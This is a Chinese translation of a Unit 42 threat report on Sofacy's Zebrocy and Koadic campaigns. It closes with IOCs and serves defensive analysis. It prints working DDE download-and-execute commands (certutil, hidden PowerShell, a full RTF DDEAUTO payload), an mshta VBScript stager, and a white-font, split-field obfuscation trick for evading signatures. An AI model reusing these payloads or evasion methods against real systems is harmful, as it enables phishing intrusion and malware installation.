对 Sofacy 黑客组织近期开始使用的 DDE 攻击手段进行分析

阅读量209539

|

发布时间 : 2018-06-13 14:02:42

x
译文声明

本文是翻译文章,文章原作者 Bryan Lee, Robert Falcone,文章来源:researchcenter.paloaltonetworks.com

原文地址:https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/

译文仅供参考,具体内容表达以及含义原文为准。

 

前言

Sofacy组织仍然是一个持续的全球威胁。Unit 42和其他机构在2018年上半年展示了这个黑客组织是如何继续针对世界各地的多个组织(主要是在北美和欧洲的政府、外交和其他战略组织)的。

继2018年2月3月我们对Sofacy最新的研究之后,我们发现了一项新的攻击活动,它使用了一种被广泛认为是属于Sofacy组织的不太知名的工具Zebrocy。Zebrocy主要通过钓鱼攻击来实现,这些攻击包含带有宏的恶意Microsoft Office文档以及简单的可执行文件附件。这第三次行动与先前报道的两次攻击行动的目标一致:处理外交事务的政府组织。然而,在这种情况下,目标是在不同的地缘政治区域。

我们在这场最新的攻击活动中发现了一个有趣的区别,那就是使用Zebrocy的攻击在目标组织内部形成了一个更宽的网络:攻击者向数量成倍增长的个人发送网络钓鱼电子邮件。这些目标个人没有任何重要的模式可循,电子邮件是使用网络搜索引擎很容易找到的地址。这与其他与Sofacy组织相关的攻击形成了鲜明的对比。在一个组织中通常只有少数几个受害者被集中火力攻击。

除了我们发现的大量Zebrocy攻击之外,我们还观察到了Sofacy组织利用以前McAfee记录动态数据交换(Dynamic Data Exchange/DDE)攻击技术的实例。然而,我们观察到的实例使用DDE漏洞来传递与以前观察到的不同的payload。在一个实例中,DDE攻击被用来传递和安装Zebrocy。在另一个实例中,DDE攻击被用来提供一个名为Koadic的开源渗透测试工具包。Sofacy组织在过去利用了开源或免费提供的工具,但这是Unit 42第一次观察到它们利用Koadic工具包。

 

与以前的攻击的联系

在2月份的报告中,我们发现Sofacy使用带有恶意宏的Microsoft Office文档将SofacyCarberp payload传递给多个政府组织。在该报告中,我们记录了观察结果,即Sofacy似乎使用传统的混淆技术,通过对每次攻击使用随机的注册人和服务提供商信息来掩盖其基础设施属性。特别是我们注意到Sofacy在每个域名上部署了一个网页。这很奇怪,因为攻击者几乎从未在C2基础设施上设置实际网页。更奇怪的是,每个网页都包含相同的内容。自那份报告发布以来,我们继续对这一奇怪现象进行研究。利用这个,我们发现另一次使用了“DealersChoice”工具包且与二月份我们所看到的类似受害者特征的攻击行动。继续观察,我们还发现了另一个具有相同内容主体的域名,Supservermgr[.]com。该域名于2017年12月20日注册,几天内就被解析为92.222.136[.]105,该域名属于Sofacy经常使用的知名VPS提供商。

不幸的是,在收集时,C2域名已经被第三方sinkhole了。然而,基于对与Supservermgr[.]com域相关联的恶意软件示例的动态和静态分析,我们能够确定几个独特的工件,这些工件允许我们扩展数据集并发现其他东西。首先,我们测定了我们收集的样本d697160ae…。试图通过hxxp:/upservermgr[.]com/sys/upd/pageupd.php与其C2通信,以检索Zebrocy AutoIT下载程序。由于域名已失效了,活动无法完成。然而,我们能够确定用于C2通信的唯一的、硬编码的用户代理:

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.1)

通过AutoFocus,我们以用户代理字符串为核心,使用完全相同的用户代理将我们的数据集扩展到另外三个Zebrocy示例。这使我们在185.25.51[.]198和185.25.50[.]93为Zebrocy提供了更多的基础设施,现在我们已经收集了近30个与原始样本及其相关C2域名的Zebrocy样本。基于这个恶意软件家族特有的工件我们的数据集扩展到了过去几年中使用的数百个示例。大多数附加样本是ESET报告的Delphi和AutoIT变体。然而,有一些样本是Zobracy下载工具的C++变体。此外,我们在Koadic中发现一个完全不同的payload。我们还发现IP地址185.25.50[.]93承载了Delphi后门的C2服务,ESET的报告指出这是攻击最后阶段的payload。

下面是我们所进行的关系分析的Maltego图表:

请注意,这不是我们能够收集的所有Zebrocy和Koadic样本图表,只包括提到的或与关系分析有关的样本。

从185.25.50[.]93C2 IP中,我们发现了Zebrocy正在使用的另一个硬编码用户代理:

Mozilla/5.0 (Windows NT 6.1; WOW64) WinHttp/1.6.3.8 (WinHTTP/5.1) like Gecko

我们观察到几个Zebrocy样本使用这个用户代理针对一个中亚大国的外交部。观察这个工件为我们提供了更多的Zebrocy样本。特别是cba5ab65a…这个样本,将另一个唯一的用户代理字符串与其C2的前一个用户代理结合使用:

Mozilla v5.1 (Windows NT 6.1; rv:6.0.1) Gecko/20100101 Firefox/6.0.1

一个恶意软件样本使用两个单独的用户代理字符串的情况并不常见。仔细检查该工具,发现第二个用户代理字符串来自由cba5ab65a…样本检索的辅助payload。Mozilla V5.1用户代理的数据显示,还有40多个Zebrocy样本,其中有几个同样针对同一个中亚国家。两个样本,25f0d1cbc…115fd8c61…提供了更多的工件,使得我们能够发现传送Zebrocy和Koadic的攻击文件。

随着时间的推移,检查唯一用户代理字符串的使用情况表明,虽然以前只使用Mozilla/5.0用户代理,但自2017年年中以来,Zebrocy工具已将所有三个用户代理字符串用于其C2通信。

 

DDE文件

由于受害者和策略的改变,使得我们发现的利用DDE( Dynamic Data Exchange)的两个武器化的文档特别令人感兴趣。

检查25f0d1cbc…时,我们能够从它的C2 220.158.216[.]127支点收集更多的Zebrocy样本以及一份武器化的文档。本文档(85da72c7d…)似乎是针对一个处理外交事务的北美政府组织。它利用DDE检索并在受害者主机上安装payload。在这次袭击中部署了一份假文件,其内容据称是联合国关于乌兹别克斯坦共和国的公开文件。

两个武器化文档的创建者在所有诱饵内容之后,将他们的DDE指令附加到文件的末尾。在Word中打开文档时,说明不会立即可见,因为默认情况下Word不会显示这些字段内容。正如下面的屏幕截图,仅仅尝试突出显示DDE指令所在的行并不会显示它们。

启用“切换字段代码(Toggle Field Codes)”功能向我们展示了DDE指令,并显示作者已将指令设置为大小为1的字体,并带有白色颜色。使用白色字体颜色来隐藏武器化文档中的内容是我们以前报道过的一种技术,现在被Sofacy集团用于恶意的宏攻击。

DDE指令试图在受害者主机上运行以下命令,后者试图从远程服务器下载和执行payload:

System32\rundll32.exe 
C:\Windows\System32\shell32.dll,ShellExec_RunDLL 
C:\Windows\System32\cmd.exe /k certutil -urlcache -split -f 
hxxp://220.158.216[.]127/MScertificate.exe & MScertificate.exe"

在分析过程中,我们观察到了这个DDE下载并执行Zebrocy自动下载程序(f27836430…),配置为尝试从220.158.216[.]127下载额外的payload。DDE指令还包括它没有运行的另一个命令,这表明它是这个交付文档以前版本的工件。下面显示了这个未使用的命令,它在Sofacy的基础结构中公开了一个额外的服务器,它将从92.114.92[.]102下载并执行一个编码的PowerShell脚本:

System32\WindowsPowerShell\v1.0\powershell.exe -NoP -sta -NonI -W 
hidden $e=(New-Object 
System.Net.webClient).downloadString('hxxp://92.114.92[.]102:80/d');po
wershell -enc $e #

上面未使用的命令似乎与以前的攻击有关,特别是McAfeeESET讨论的2017年11月发生的攻击。在这些2017年11月使用DDE启用的文档的攻击中交付的payload是SofacyCarberp,这不同于2018年2月攻击中交付的Zebrocy下载程序。

115fd8c61…是另一个Zebrocy样本,我们可以通过收集更多的样本连接到它的C2 86.106.131[.]177。正如前面提到的那样,其他一些样本针对的是相同的中亚大国,但更有趣的是,其中一个样本是一份武器化的文件,也利用了DDE,并包含一个非Zebrocy的payload。这个payload被证明是一个开源的渗透测试工具包,名为Koadi。它是一个类似于Metasploit或PowerShell Empire的工具包,并且可以免费提供给Gitrib上的任何人。

RTF文档(8cf3bc2bf…)它的大小非常小,只有264字节,在这里可以看到它的全部内容:

{rtf1{field{*fldinst DDEAUTO "C:\\WIndowS\\SYsTem32\\cMD.eXe
 " "/C    POWErsHELl.eXE  -ex     BypaSs  -NOP    -w      HIdDen  (NEw-
oBjeCT SyStEm.NET.weBCLiENT).dowNloADFILe(
 'hxxp://86.106.131[.]177/link/GRAPH.EXE'
  ,       '%apPDAtA%graph.exe'   )       ;       saps
    '%Appdata%graph.exe'"}}}

上面的内容使用Microsoft Word中的DDE功能运行PowerShell脚本,从远程服务器下载Koadi payload,将其保存为系统上的可执行文件,然后执行。

 

结论

Sofacy 组织在2018年继续其目标明确的攻击行动。正如在这个博客中提到的,Sofacy正在平行地进行运动来攻击世界各地类似的目标,但是使用不同的工具集。与当前这类攻击相关联的Zebrocy工具是根据开发人员选择创建该工具的编程语言,以几种不同的形式构造的。我们观察到了Zebrocy的Delphi、AutoIt和C++变体,它们不仅在功能上相关,而且有时通过在单个攻击中将变体链接在一起而相互关联。无论是通过简单的可执行附件,还是使用以前观察到的DDE攻击技术希望受害者将该文件启动,这些攻击在很大程度上仍然是通过钓鱼攻击进行的。

Palo Alto Networks公司的客户受到下列措施的保护,不受Zebrocy和Koadic的攻击:

  • 所有已知的Zebrocy样本在WildFire中都有一个恶意的断言。
  • AutoFocus客户可以使用以下标记跟踪此活动:

 

附录

Zebrocy C++变体

2018年2月19日,我们看到一封钓鱼电子邮件发送给一个中亚国家的一个外交事务组织,该组织试图发送一个附加的用Delphi编程语言编写的Zebrocy下载器(5b5e80f63…)。这个下载器获得了第二个下载程序,在本例中功能非常相似,但是用C++而不是Delphi编写的。

Zebrocy下载程序的这个变体首先收集带有标签“C:””和计算机名称的存储卷的序列号。然后,它在屏幕右下角创建一个不可见窗口(0x0像素),该窗口将调用Trojan木马的主函数。

Trojan木马程序的主要功能与其配置的C2服务器进行交互,以获取要执行的其他代码。主函数通过调用一个子函数来与其C2通信,该子函数将用作开关语句中的一个用例来解密所需的字符串,从而获得与其C2通信的相关字符串。例如,下面是每个CASE语句(dd7e69e1…)的解密字符串:
Case – String decrypted

1 – 85.25.50[.]93

2 – POST http://185.25.50[.]93/syshelp/kd8812u/protocol.php HTTP/1.1rnHost: 185.25.50[.]93rnContent-Type: application/x-www-form-urlencodedrnContent-Length:

3 – porg=

4 – Content-Length:

Trojan木马程序使用原始套接字与其C2服务器通信,并使用上面解密的字符串创建HTTP请求。它首先用一个参数1调用这个特定的子函数,以获得C2连接的IP地址。然后,它使用参数2调用子函数,以获取它将用作HTTP POST请求的字符串。然后,主函数用参数3调用子函数来获取POST数据参数(“porg”)以及卷序列号和计算机名,并通过HTTP POST请求将数据发送到C2。得到的HTTP POST请求如下所示:

POST http://185.25.50[.]93/syshelp/kd8812u/protocol.php HTTP/1.1

Host: 185.25.50[.]93

Content-Type: application/x-www-form-urlencoded

Content-Length: 21

porg=44908AE0524f422d

在分析过程中,我们没有看到C2服务器响应我们的请求,但是,我们知道Trojan木马程序将如何解析C2对特定数据的响应。

-1 – Deletes the buffer and exits the Trojan.

009 – Deletes the buffers and exits the Trojan.

如果在HTTP响应开始时没有找到上述任何值,则Trojan木马程序会检查C2响应以获取十六进制字节的ASCII表示形式。Trojan木马程序会将这些十六进制字节转换为二进制值并将其写入文件,并使用ShellExecuteWAPI函数使用“open”函数运行该文件。

我们在Zebrocy C++示例中看到了以下HTTP POST参数:

porg

structOne

oq

volume

DDE细节

2018年2月袭击事件中使用的DDE文件的作者使用了一些混淆技术以逃避侦查。首先,DDE指令在很大程度上依赖于QUOTE字段,该字段将十进制值转换为它们的ASCII等效字符。此外,作者将“dde”命令中的“E”大写,以避免大写大小写敏感签名。最后,作者在“dde”命令中对“dd”字符进行了粗体处理,该命令将DOCX文件(Word/Docent.xml)的XML中的字符串分割开来,从而使签名开发变得困难,如下所示:

<w:r w:rsidRPr="00E84CED">
  <w:rPr>
    <w:b/>
    <w:noProof/>
    <w:color w:themeColor="background1" w:val="FFFFFF"/>
    <w:sz w:val="2"/>
    <w:szCs w:val="2"/>
  </w:rPr>
  <w:instrText>dd</w:instrText>
</w:r>
<w:r w:rsidRPr="00E84CED">
  <w:rPr>
    <w:color w:themeColor="background1" w:val="FFFFFF"/>
    <w:sz w:val="2"/>
    <w:szCs w:val="2"/>
  </w:rPr>
  <w:instrText xml:space="preserve">E </w:instrText>
</w:r>

除了前面提到的DOCX文件之外,我们还发现了另一个相关的启用DDE的文档,该文档基于与Zebrocy C2 IP地址重叠的基础设施。这个相关的交付文档是一个RTF文件,它下载并安装了一个payload,用于加载开放源码的koadi工具。我们没有遥测目标或攻击向量,但我们知道RTF文件使用DDE下载和执行一个加载Koadic的可执行文件。

payload(abbad7acd…)是一个可执行文件,它似乎是由VBScript为可执行工具创建的,并使用加密程序进一步混淆。我们的分析显示了一些可能的联系,由F2KO Software的VBS到EXE工具,但我们还没有确认是否直接重叠。我们相信参与者在payload上使用了一个密码器,因为它从其资源中获取文件名和脚本,并通过将每个字节乘以负字节来解码这些资源。然后,payload使用MD5散列(14331 D289e737093994395d3fc412afc),该散列似乎是一个硬编码的SHA1散列(B6A75B1EF701710D7AEADE0FE93DE8477F3BD506)作为RC4密钥来解密得到的解码数据。例如,资源中存在以下数据:

fb 70 b0 c9 bd c5 8a d4 0c 54 fd 4c 6d bb f0 0f

通过将每个字节与-1相乘,我们获得了以下数据:

05 90 50 37 43 3b 76 2c f4 ac 03 b4 93 45 10 f1

在使用RC4和键14331d289e737093395d3fc412afc之后,将显示以下明文数据:

x00x00x00x00FlashRun.vbs

我们没有看到使用此FlashRun.vbs文件名的payload,而是使用临时文件名存储嵌入式VBScript文件,如%temp%4 tmp5.vbs。从资源中检索嵌入式VBScript,并使用与上面讨论的相同的算法对其进行解密,从而得到以下明文:

set objshell = createobject("wscript.shell")
objshell.run "mshta hxxp://86.106.131.177:6500/zIZFh",vbhide

Koadic C2服务器将用Javascript代码响应这一请求,该代码充当Koadic登台的payload,使参与者能够在终端系统上运行额外的Koadic模块,以执行他们攻击的后续活动。不幸的是,在我们的分析过程中,我们没有观察到Sofacy使用的Koadi模块。

IOCs

Domain

supservermgr[.]com

URL

hxxp://supservermgr[.]com/sys/upd/pageupd.php

Zebrocy

d697160aecf152a81a89a6b5a7d9e1b8b5e121724038c676157ac72f20364edc
cba5ab65a24be52214736bc1a5bc984953a9c15d0a3826d5b15e94036e5497df
25f0d1cbcc53d8cfd6d848e12895ce376fbbfaf279be591774b28f70852a4fd8
115fd8c619fa173622c7a1e84efdf6fed08a25d3ca3095404dcbd5ac3deb1f03
f27836430742c9e014e1b080d89c47e43db299c2e00d0c0801a2830b41b57bc1
5b5e80f63c04402d0b282e95e32155b2f86cf604a6837853ab467111d4ac15e2
dd7e69e14c88972ac173132b90b3f4bfb2d1faec15cca256a256dd3a12b6e75d

Koadic

abbad7acd50754f096fdc6551e728aa6054dcf8e55946f90a02b17db552471ca

User Agents

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.1)

Mozilla/5.0 (Windows NT 6.1; WOW64) WinHttp/1.6.3.8 (WinHTTP/5.1) like Gecko

Mozilla v5.1 (Windows NT 6.1; rv:6.0.1) Gecko/20100101 Firefox/6.0.1

IPs

185.25.51[.]198
185.25.50[.]93
220.158.216[.]127
92.114.92[.]102
86.106.131[.]177

DDE Docs

85da72c7dbf5da543e10f3f806afd4ebf133f27b6af7859aded2c3a6eced2fd5
8cf3bc2bf36342e844e9c8108393562538a9af2a1011c80bb46416c0572c86ff

本文翻译自researchcenter.paloaltonetworks.com 原文链接。如若转载请注明出处。
分享到:微信
+10赞
收藏
秋真平
分享到:微信

发表评论

内容需知
  • 投稿须知
  • 转载须知
  • 官网QQ群8:819797106
  • 官网QQ群3:830462644(已满)
  • 官网QQ群2:814450983(已满)
  • 官网QQ群1:702511263(已满)
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 360网络攻防实验室 安全客 All Rights Reserved 京ICP备08010314号-66